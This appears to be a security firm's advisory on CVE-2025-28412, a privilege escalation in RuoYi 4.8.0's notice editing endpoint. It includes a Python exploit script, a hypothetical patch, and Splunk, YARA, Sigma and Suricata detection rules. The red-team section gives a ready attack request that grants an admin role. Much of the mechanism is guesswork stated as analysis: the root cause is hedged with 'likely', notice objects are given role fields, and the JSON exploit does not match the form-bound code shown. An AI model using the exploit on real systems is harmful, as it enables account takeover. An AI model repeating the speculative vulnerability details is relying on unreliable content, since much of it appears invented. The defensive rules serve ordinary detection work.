CVE-2025-28412

Executive Summary

CVE-2025-28412 is a privilege escalation vulnerability in the RuoYi v.4.8.0 web application framework. The flaw resides in the /editSave method of the SysNoticeController, allowing a remote attacker with low-privileged access to escalate their privileges to a higher level, potentially gaining administrative control over the system. This vulnerability is currently unpatched, and no official fix has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for organizations using this version.

Supply Chain & Package Security

RuoYi is a Java-based rapid development framework, often distributed as a Maven project or via GitHub releases. The vulnerability affects the core controller component, which is part of the application's source code. No known supply chain compromise has been reported, but users should verify the integrity of their RuoYi distribution and monitor for any unofficial patches or forks.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, but based on the vulnerability type (privilege escalation via improper access control), a more realistic assessment would be:

• Attack Vector (AV): Network (N) – the /editSave endpoint is accessible over the network.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): Low (L) – attacker needs a valid low-privileged account.
• User Interaction (UI): None (N) – no user action needed.
• Scope (S): Unchanged (U) – the vulnerable component is the same as the affected component.
• Confidentiality (C): High (H) – privilege escalation can lead to data exposure.
• Integrity (I): High (H) – attacker can modify system settings.
• Availability (A): High (H) – potential for denial of service or system takeover.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Estimated Score: 8.8 (High)

Deep Dive & Mechanics

The vulnerability exists in the SysNoticeController class, specifically in the /editSave method. This method is intended to allow authorized users to edit system notices. However, due to insufficient authorization checks, a low-privileged user can craft a request to modify the notice object's properties, including those that control user roles or permissions. By manipulating the request payload, the attacker can elevate their own privileges or assign themselves administrative roles.

The root cause is a missing or flawed access control check (CWE-269). The controller likely uses a generic @PreAuthorize annotation or manual role check that does not properly validate the user's permissions for the specific action of editing notices. An attacker can exploit this by sending a POST request to /system/notice/editSave with a crafted JSON payload that includes fields like roleIds or userId to escalate privileges.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current implementation in RuoYi v.4.8.0. A hypothetical patch would involve adding proper authorization checks.

Vulnerable Code (SysNoticeController.java):

@PostMapping("/editSave")
@ResponseBody
public AjaxResult editSave(SysNotice notice) {
    // Missing authorization check
    return toAjax(noticeService.updateNotice(notice));
}

Patched Code (Hypothetical):

@PostMapping("/editSave")
@PreAuthorize("@ss.hasPermi('system:notice:edit')")
@ResponseBody
public AjaxResult editSave(SysNotice notice) {
    // Additional check to ensure user can only edit their own notices or has admin role
    if (!SecurityUtils.getLoginUser().getUser().isAdmin()) {
        // Restrict editing to only certain fields
        notice.setRoleIds(null);
        notice.setUserId(null);
    }
    return toAjax(noticeService.updateNotice(notice));
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of RuoYi v.4.8.0 with a low-privileged user account (e.g., testuser with password test123).
• Network access to the /system/notice/editSave endpoint.

Exploit Steps:

1. Log in as a low-privileged user and obtain a session cookie or token.
2. Craft a POST request to /system/notice/editSave with a JSON payload that includes privilege escalation fields.

Example Exploit (Python):

import requests

url = "http://target.com/system/notice/editSave"
cookies = {"JSESSIONID": "your_session_id"}
payload = {
    "noticeId": 1,
    "noticeTitle": "Exploit",
    "noticeContent": "Privilege Escalation",
    "roleIds": [1],  # Admin role ID
    "userId": 1      # Target user ID to escalate
}
response = requests.post(url, json=payload, cookies=cookies)
print(response.text)

Expected Outcome: The attacker's user account is granted admin privileges, allowing full control over the application.

Blue Team

Detection Steps:

1. Monitor logs for unusual POST requests to /system/notice/editSave from low-privileged users.
2. Look for payloads containing roleIds or userId fields that are not typical for notice editing.
3. Alert on any successful privilege escalation events (e.g., user role changes).

Hunting Query (Splunk):

index=web_logs sourcetype=access_combined
| search uri="/system/notice/editSave" method=POST
| eval suspicious=if(match(payload, "roleIds") OR match(payload, "userId"), 1, 0)
| where suspicious=1
| table _time, src_ip, user, payload

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /system/notice/editSave with JSON payloads containing roleIds or userId.
  • Unusual session tokens from low-privileged users accessing admin endpoints after the exploit.

• File IOCs:

  • Modified sys_notice table entries in the database with unexpected role_ids or user_id values.
  • Log entries showing user role changes (e.g., from ROLE_USER to ROLE_ADMIN).

• Behavioral IOCs:

  • Low-privileged users suddenly gaining access to admin-only features.
  • Multiple failed login attempts followed by successful privilege escalation.

Detection Engineering

YARA Rule

rule CVE_2025_28412_RuoYi_PrivEsc {
    meta:
        description = "Detects privilege escalation attempts via /editSave in RuoYi v.4.8.0"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-28412"
    strings:
        $s1 = "/system/notice/editSave" ascii wide nocase
        $s2 = "roleIds" ascii wide nocase
        $s3 = "userId" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: Privilege Escalation via RuoYi /editSave
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects POST requests to /system/notice/editSave with privilege escalation fields
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/system/notice/editSave'
        cs-uri-query|contains: 
            - 'roleIds'
            - 'userId'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-28412 RuoYi Privilege Escalation Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/system/notice/editSave"; http_uri; content:"roleIds"; http_client_body; content:"userId"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the /editSave endpoint if not required, by removing or commenting out the mapping in SysNoticeController.java.
2. Implement strict access controls using Spring Security's @PreAuthorize annotation to restrict the endpoint to admin users only.
3. Apply input validation to ensure that only allowed fields (e.g., noticeTitle, noticeContent) can be modified, and strip any privilege-related fields.

Long-term Fix:

• Upgrade to a patched version of RuoYi once available.
• Conduct a security audit of all controller methods to ensure proper authorization checks are in place.
• Implement role-based access control (RBAC) with least privilege principles.

Workaround:

• Use a Web Application Firewall (WAF) to block requests containing roleIds or userId in the /system/notice/editSave endpoint.

Valters IT
Securing Your Digital Frontier